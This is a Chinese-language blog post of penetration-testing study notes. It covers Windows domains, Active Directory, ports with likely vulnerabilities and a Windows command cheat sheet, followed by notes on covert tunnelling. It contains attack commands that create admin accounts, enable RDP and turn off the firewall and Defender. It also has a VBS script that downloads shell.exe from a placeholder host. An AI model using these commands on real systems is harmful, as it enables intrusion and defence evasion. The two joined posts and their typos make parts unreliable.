1内网渗透基础知识

Posted 海屿-uf9n1x

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了1内网渗透基础知识相关的知识,希望对你有一定的参考价值。

0x01 一些名词概念

1.1、工作组

工作组是一个由许多在同一物理地点,而且被相同的局域网连接起来的用户组成的小组。相应地,一个工作组也可以是遍布一个机构的,但却被同一网络连接的用户构成的逻辑小组。在以上两种情况下,在工作组中的用户都可以以预定义的方式,共享文档、应用程序、电子函件和系统资源。  
    在默认情况下,局域网内的计算机都是采用工作组方式进行资源管理的,即处在名为WORKGROUP的工作组中 。

1.2、域(Domain)

域(Domain):域是一个有安全边界的计算机集合(**安全边界的意思是在两个域中,一个域的用户无法访问另一个域中的资源**)。域(Domain)是一种比工作组更高级的计算机资源管理模式,既可以用于计算机数量较少的小规模网络环境,也可以用于计算机数量众多的大型网络环境。

域环境中,

  1. 所有用户账户、用户组、计算机、打印机和其他安全主体都在一个或多个域控制器的中央数据库中注册。
  2. 当域用户需要想访问域中的资源时,必须通过域控制器集中进行身份验证。
  3. 而通过身份验证的域用户对域中的资源拥有什么样的访问权限取决于域用户在域中的身份。
  4. 在域环境中,域管理员用户是域中最强大的用户,在整个域中具有最高访问权限和最高管理权限,可以通过域控制器集中管理组织中成千上万台计算机网络资源,所以在实际渗透过程中,能获得域管理员相关权限往往可以控制整个域控。

注意: 域是windows下的一种统一化管理的方式,一个电脑可以用多个账号登录,并且还可以本地用户和域用户两种方式登录,没有域环境和有域环境的认证方式不同

1.2.1、域控制器(Domain Controller,DC)

域控制器(Domain Controller,DC)是域中的一台类似管理服务器的计算机,域控制器负责所有连入计算机和用户的验证工作,域控制器是整个域的通信枢纽,所有的权限身份验证都在域控制器上进行。

1.2.2、单域

通常在一个地理位置固定的小公司里,建立一个域就可以满足需求。在一个域中,一般要有至少两台域服务器,一台作为DC(父域),另一台作为备份DC(辅域)。

1.2.3、父域和子域

出于管理及其他需求。需要在网络中划分多个域。第一个域称为父域,各分部的域称为该域的子域。

1.2.4、域树

   域树(Tree)是多个域通过建立信任关系组成的集合。一个**域管理员只能管理本域,不能访问或者管理其他域。** 域树中域的命名空间具有连续性,并且域名层次越深,级别越低。  

1.2.5、域森林

域森林(Forest)是指多个域树通过建立信任关系组成的集合。 **域森林中的所有域树仍共享同一个表结构**

**配置和全局目录。 **

1.2.6、域名服务器DNS

域名服务器(Domain Name Server,DNS)是指用于实现域名和与之相对应的IP地址转换的服务器,在内网渗透中,大都是通过寻找DNS服务器来确定域控制器的位置的(**DNS服务器和域控制器通常配置在同一台机器上**)。

1.3、 活动目录AD

活动目录(Active Directory, AD)是指安装在域控制器(DC)上,为整个域环境提供集中式目录管理服务的组件。活动目录存储了有关域环境中各种对象的信息,如域、用户、用户组、计算机、组织单位、共享资源、安全策略等。目录数据存储在域控制器的Ntds.dit文件中。活动目录主要提供了以下功能。
计算机集中管理: 集中管理所有加入域的服务器及客户端计算机,统一下发组策略。
用户集中管理: 集中管理域用户、组织通讯录、用户组,对用户进行统一的身份认证、资源授权等。
资源集中管理: 集中管理域中的打印机、文件共享服务等网络资源。
环境集中配置: 集中的配置域中计算机的工作环境,如统一计算机桌面、统一网络连接配置,统一计算机安全配置
应用集中管理:对域中的计算机统一推送软件、安全补丁、防病毒系统,安装网络打印机等。

1.4、域控制器(DC)和活动目录(AD)的区别

1、如果网络规模较大,就要把网络中的众多对象,例如计算机、用户、用户组、打印机、共享文件等,分门别类、井然有序地放在一个大仓库中,并将检索信息整理好,以便查找、管理和使用这些对象(资源)。这个拥有层次结构的数据库,就是活动目录数据库,简称AD库
2、那么,我们应该把这个数据库放在哪台计算机上呢?要实现域环境,其实就是要安装 AD,如果内网中的一台计算机上安装了 AD,它就变成了DC(用于存储活动目录数据库的计算机)。
3、回顾前面的一个应用场景,在域环境中,只需要在活动目录中创建 Alan账户一次,就可以在200台计算机中的任意一台上使用该账户登录;如果要更改Alan账户的密码,只需要在活动目录中更改一次就可以了

1.4、Ntds.dit文件

Ntds.dit文件是域环境的域控制器上保存的一个二进制文件,是主要的活动目录数据库,其文件路径为域控制器的“%SystemRoot%Intds\\ntds.dit"。Ntds.dit 文件中包括但不限于有关域用户、用户密码的哈希散列值、用户组、组成员身份和组策略的信息。Ntds.dit文件使用存储在系统SYSTEM文件的密钥对这些哈希值进行加密。
注意:而在非域环境即工作组环境中,用户的登录凭据等信息存储在本地SAM文件中。路径为:“C:\\WINDOWS\\system32\\config”

1.6、DMZ

 DMZ称为”隔离区“,也称”非军事化区“。为了解决安装防火墙后外部网络不能访问内部网络服务器的问题,而设立的一个非安全系统与安全系统之间的缓冲区。DMZ区通常 位内部网络和外部网络之间的小网络区域内,DMZ区中通常部署一些公开的服务,如企业Web、FTP服务器等。

1.7、域内成员划分

  1. 域控制器:域控制器用于管理所有的网络访问,包括登录服务器、访问共享目录和资源。域控制器中存储了域内所有的账户和策略信息,包括安全策略、用户身份验证信息和账户信息,一个网络中可以有多台域控
  2. 成员服务器:成员服务器是指安装了服务器操作系统并加入了域、但没有安装活动目录的计算机,其主要任务是提供网络资源
  3. 客户机域中的计算机可以是安装了其他操作系统的计算机,用户利用这些计算机和域中的账户就可以登录域
  4. 独立服务器:独立服务器和域没有关系。如果服务器既不加入域,也不安装活动目录,就称其为独立服务器。独立服务器可以创建工作组、与网络中的其他计算机共享资源,但不能使用活动目录提供的任何服务

0x02 常见端口与对应服务和可能漏洞

| 端口号  | 端口说明 | 可能漏洞 |
|------- |-------- |-------- |
|21/22/69 |ftp/tftp:文件传输协议 |爆破\\嗅探\\溢出\\后门|
|22 |ssh:远程连接 |爆破OpenSSH;28个退格|
|23 |telnet:远程连接 |爆破\\嗅探|
|25 |smtp:邮件服务 |邮件伪造|
|53	|DNS:域名系统 |DNS区域传输\\DNS劫持\\DNS缓存投毒\\DNS欺骗\\利用DNS隧道技术刺透防火墙|
|67/68 |dhcp |劫持\\欺骗|
|110 |pop3 |爆破|
|139 |samba |爆破\\未授权访问\\远程代码执行|
|143 |imap |爆破|
|161 |snmp |爆破|
|389 |ldap |注入攻击\\未授权访问|
|445 |SMB |远程代码执行|
|512/513/514 |linux r|直接使用rlogin|
|873 |rsync |未授权访问|
|1080 |socket |爆破:进行内网渗透|
|1352 |lotus |爆破:弱口令\\信息泄漏:源代码|
|1433 |mssql |爆破:使用系统用户登录\\注入攻击|
|1521 |oracle |爆破:TNS\\注入攻击|
|2049 |nfs |配置不当|
|2181 |zookeeper |未授权访问|
|3306 |mysql |爆破\\拒绝服务\\注入|
|3389 |rdp |爆破\\Shift后门|
|4848 |glassfish |爆破:控制台弱口令\\认证绕过|
|5000 |sybase/DB2 |爆破\\注入|
|5432 |postgresql |缓冲区溢出\\注入攻击\\爆破:弱口令|
|5632 |pcanywhere |拒绝服务\\代码执行|
|5900 |vnc |爆破:弱口令\\认证绕过|
|6379 |redis |未授权访问\\爆破:弱口令|
|7001 |weblogic |Java反序列化\\控制台弱口令\\控制台部署webshell|
|80/443/8080 |web |常见web攻击\\控制台爆破\\对应服务器版本漏洞|
|8069 |zabbix |远程命令执行|
|9080 |websphere |远程命令执行|
|9090 |websphere控制台 |爆破:控制台弱口令\\Java反序列|
|9200/9300 |elasticsearch |远程代码执行|
|11211 |memcacache |未授权访问|
|27017 |mongodb |爆破\\未授权访问|

0x03 常用命令附录表

netstat -ano 显示本机的IP和端口号,通信对象的IP地址和端口号
 nmap -sU --script nbstat.nse -p137 c段 -T4 使用nmap进行存活主机探测
 net user  查看本机用户列表
 net localgroup administrators 	本机管理员
 query || qwinsta	查看当前在线用户
 ipconfig /all   查看本机ip,所在域
 route print     打印路由信息
 net view        查看局域网内其他主机名
 arp -a          查看arp缓存
 net start       查看开启了哪些服务
 net share       查看开启了哪些共享
 net share ipc$  开启ipc共享
 net share c$    开启c盘共享
 net use \\\\192.168.xx.xx\\ipc$ "" /user:""   与192.168.xx.xx建立空连接
 net use \\\\192.168.xx.xx\\c$ "密码" /user:"用户名"  建立c盘共享
 dir \\\\192.168.xx.xx\\c$\\user    查看192.168.xx.xx c盘user目录下的文件
 
 net config Workstation   查看计算机名、全名、用户名、系统版本、工作站、域、登录域
 net user                 查看本机用户列表
 net user /domain         查看域用户
 net localgroup administrators   查看本地管理员组(通常会有域用户)
 net view /domain         查看有几个域
 net user 用户名 /domain   获取指定域用户的信息
 net group /domain        查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
 net group 组名 /domain    查看域中某工作组
 net group "domain admins" /domain  查看域管理员的名字
 net group "domain computers" /domain  查看域中的其他主机名
 net group "doamin controllers" /domain  查看域控制器(可能有多台)

 netstat -ano | find "3389"   查看3389端口是否开启,若开启可以尝试远程桌面登录(Windows)
 REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f  				 用于开启远程桌面登录
 
 netsh firewall show config	  查看防火墙状态
 关闭防火墙
 netsh firewall set opmode disable   Windows Server 2003 系统及之前版本
 netsh advfirewall set allprofiles state off  Windows Server 2003 之后系统版本
 mstsc	远程桌面连接
命令 说明
net dclist 查看目标所在域的域控
net view 查看目标所在域的域内目标
net user admin 123456 /add 添加账号为admin,密码为123456的账号
net localgroup administrators admin /add 将admin添加到管理员组
ipconfig /all 查看本机ip,所在域
arp -a 查看arp缓存
net start 查看开启了哪些服务
net share 查看开启了哪些共享
net share ipc$ 开启ipc共享
net share c$ 开启c盘共享
net time /domain 查看时间服务器,判断主域,主域服务器都做时间服务器
net user /domain 查看域用户
net use \\192.168.xx.xx\\ipc$ "" /user:"" 与192.168.xx.xx建立空连接
net config Workstation 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net localgroup administrators 查看本地管理员组(通常会有域用户)
net view /domain 查看有几个域
net user 用户名 /domain 获取指定域用户的信息
net group /domain 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain 查看域中某工作组
net group "domain admins" /domain 查看域管理员的名字
net group "domain computers" /domain 查看域中的其他主机名
net group "doamin controllers" /domain 查看域控制器(可能有多台)
REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f 开启3389端口(远程登录)
netsh advfirewall set allprofiles state off net stop windefend 关闭防火墙
net user guest /active:yes
net localgroup administrators guest /add
net user guest 1q2w3e4R!! 激活guest用户并将其添加到超级管理员组,适用于在有防护情况下没有办法添加账户
query user 查看当前登录用户
tracert IP 路由跟踪
taskkill /im 12555 /f 关闭PID为12555的进程
wmic process where
processid=4444 get processid,executablepath,name 读取进程为4444的程序路径
wmic logicaldisk get caption,name 查看盘符
wmic OS get Caption,CSDVersion,OSArchitecture,Version 查看版本
wmic product get name,version 查看软件
netsh firewall show config 查看防火墙信息

《内网安全攻防:渗透测试实战指南》读书笔记:隐藏通信隧道技术

目录

前言

本篇继续阅读学习《内网安全攻防:渗透测试实战指南》,是第三章隐藏通信隧道技术,详细介绍了IPv6隧道、ICMP隧道、HTTPS隧道、SSH隧道、DNS隧道等加密隧道的使用方法,并对常见的SOCKS代理工具及内网上传/下载方法进行了解说

相关知识之前也有过学习整理,参见:内网渗透系列:内网穿透(隧道)学习

一、基础知识

1、概述

网络隐藏通信隧道是与目标主机进行信息传输的主要工具

在大量TCP、UDP通信被防御系统拦截的情况下,DNS、ICMP等难以禁用的协议已经被攻击者利用,成为攻击者控制隧道的主要通道

常用隧道:

  • 网络层:IPv6隧道、ICMP隧道、GRE隧道
  • 传输层:TCP隧道、UDP隧道、常规端口转发
  • 应用层:SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道

2、判断内网的连通性

判断方法如下:

//ICMP协议
ping www.baidu.com

//TCP协议
nc -zv 192.168.1.10 80

//HTTP协议
curl www.baidu.com:80
//curl的代理模式
curl -x proxy-ip:port www.baidu.com

//DNS协议
//windows下的nslookup
mslookup www.baidu.com vps-ip
//linux下的dig
dig @vps-ip www.baidu.com

二、网络层隧道技术

1、IPv6隧道

IPv6隧道可以将IPv4作为隧道载体,将IPv6报文整体封装在IPv4数据报文中

几种工具:

2、ICMP隧道

在一般的通信协议中,如果两台设备要进行通信,肯定需要开放端口,而在ICMP协议下就不需要

可参见:内网渗透系列:内网隧道之ICMP隧道

三、传输层隧道技术

主要是TCP隧道、UDP隧道和常规端口转发,大部分都会被拦截

工具可以参见:内网渗透系列:内网穿透(隧道)学习

四、应用层隧道技术

1、SSH隧道

几乎所有的Linux/UNIX服务器和网络设备都支持SSH协议,SSH协议是被允许通过防火墙和边界设备的,所以经常被攻击者利用

//本地转发
ssh -CfNg -L 1153(VPS端口):1.1.1.10(目标IP):3389(目标端口)
root@192.168.1.11(跳板机)

//远程转发
ssh -CfNg -R 3307(VPS端口):1.1.1.10(目标IP):3389(目标端口)
root@192.168.1.4

-L本地端口转发,-R远程端口转发,-D动态转发(SOCKS代理)**

防御:

  • IP白名单
  • ACL限制请求IP
  • 设置系统完全使用带外管理

2、HTTP/HTTPS隧道

reGeorg、meterpreter、tunna等,都很有名

3、DNS隧道

DNS是一个必不可少的服务,DNS报文本身具有穿透防火墙的能力。

从DNS协议的角度看,只是在一次次的查询某个特定的域名并得到解析结果,但其本质问题是,预期的返回结果应该是一个IP地址,而事实返回的是任意字符串,包括加密的C2指令。

DNS隧道本质是将其他协议封装在DNS协议中进行传输。

参见:内网渗透系列:内网隧道之DNS隧道

五、SOCKS代理

SOCKS是"SOCKetS"的缩写

  • SOCKS4只支持TCP协议
  • SOCKS5不仅支持TCP/UDP协议,还支持各种身份验证机制

SOCKS代理更底层,是在会话层;而HTTP代理是在应用层。因此SOCKS代理可以代理一切客户端的连接,而HTTP代理只能代理使用HTTP协议的客户端。由于更底层,不需要处理高级协议的细节,所以SOCKS代理更快。

SOCKET被称作"套接字",用于描述IP地址和端口,是一个通信链的句柄,可以用来实现不同计算机之间的通信,它的本质是编程接口(API),是对TCP/IP的封装。SOCKS是一个代理协议,目前最新版本为SOCKS5,所谓代理就是,你可以通过它的去间接的访问网络,相当于一个中转站。区别:SOCKET是一个API,一个工具,让你建立网络连接用的。SOCKS是协议,是一组数据结构。

目前VPN隧道协议主要有4种:点到点隧道协议PPTP、第二层隧道协议L2TP、网络层隧道协议IPSec以及SOCKS v5协议。其中,PPTP和L2TP工作在数据链路层,IPSec工作在网络层,SOCKS v5工作在会话层。

e.g. EarthWorm(ew、新版本Termite)、reGeorg、sSocks、SocksCap64(SSTap)、Proxifier、ProxyChains

六、压缩数据

1、rar.exe

将E:\\webs\\目录下的所有内容打包为1.rar放入E:\\webs\\目录下

rar.exe a -k -r -s -m3 E:\\webs\\1.rar E:\\webs\\

将E:\\webs\\1.rar解压到当前根目录下

rar.exe e E:\\webs\\1.rar

分卷压缩E盘API目录下的所有文件及文件夹,设置每个分卷为20M

rar.exe a -m0 -r -v20m E:\\test.rar E:\\API

将E:\\test.part01.rar解压到E盘的x1目录下

rar.exe x E:\\test.part01.rar E:\\x1

2、7-zip

将E:\\webs\\目录下的所有内容打包为1.7z放入E:\\webs\\目录下

7z.exe a -k -r -p12345 E:\\webs\\1.7z E:\\webs\\

将E:\\webs\\1.7z解压到当前根目录下

7z.exe e -p12345 E:\\webs\\1.7z

分卷压缩E盘API目录下的所有文件及文件夹,设置每个分卷为20M

7z.exe -r -vlm -padmin a E:\\test.7z E:\\API

将E:\\test.part01.7z解压到E盘的x1目录下

7z.exe x -padmin E:\\test.7z.001 -oE:\\x1

七、上传和下载

1、VBS

执行下面命令即可在目标主机上下载shell.exe文件

Cscript download.vbs

download.vbs代码:

Set Post=CreateObject("Msxml2.XMLHTTP")
Set shell = CreateObject("Wscript.Shell")
post.Open "GET","http://IP/shell.exe",0
post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(post.responseBody)
aGet.SaveToFile "C:\\test\\shell.exe",2

2、Debug上传

先将需要上传的EXE文件转换为十六进制HEX的形式,再通过echo命令将HEX代码写人文件,最后利用Debug功能将HEX代码编译并还原成EXE文件

在KaliLlnux中,exe2bat.exe工具位于/usr/share/windows-binaries目录,执行

wine exe2bat.exe ew.exe ew.txt

将ew.exe转换为ew.txt

然后,利用目标服务器的Debug功能将HEX代码还原为EXE文件
再使用echo命令将ew.txt里面的代码复制到目标系统的命令行环境中

3、其他

还可以用以下这些上传文件:

  • Nishang:利用Nishang将上传的EXE文件转换为十六进制的形式,然后使用echo命令访问目标服务器,最后使用Download_Execute脚本下载文本文件并将其转换为EXE文件
  • bitsadmm:推荐在Windows7和Windows8主机上使用,注意它不支持HTTPS和FTP协议,也不支持WindowsXP/Sever2003及以前的版本
  • PowerShell下载

结语

本章主要是隐匿通信隧道,由于这部分知识之前有过学习,故此处就不详细记录了,具体可见博客其他相关文章

以上是关于1内网渗透基础知识的主要内容,如果未能解决你的问题,请参考以下文章

1内网渗透基础知识

内网渗透TIPS总结

内网渗透测试理论学习之第一篇基础知识点

《内网安全攻防:渗透测试实战指南》读书笔记:隐藏通信隧道技术

《内网安全攻防:渗透测试实战指南》读书笔记:隐藏通信隧道技术

内网渗透-基础知识&信息收集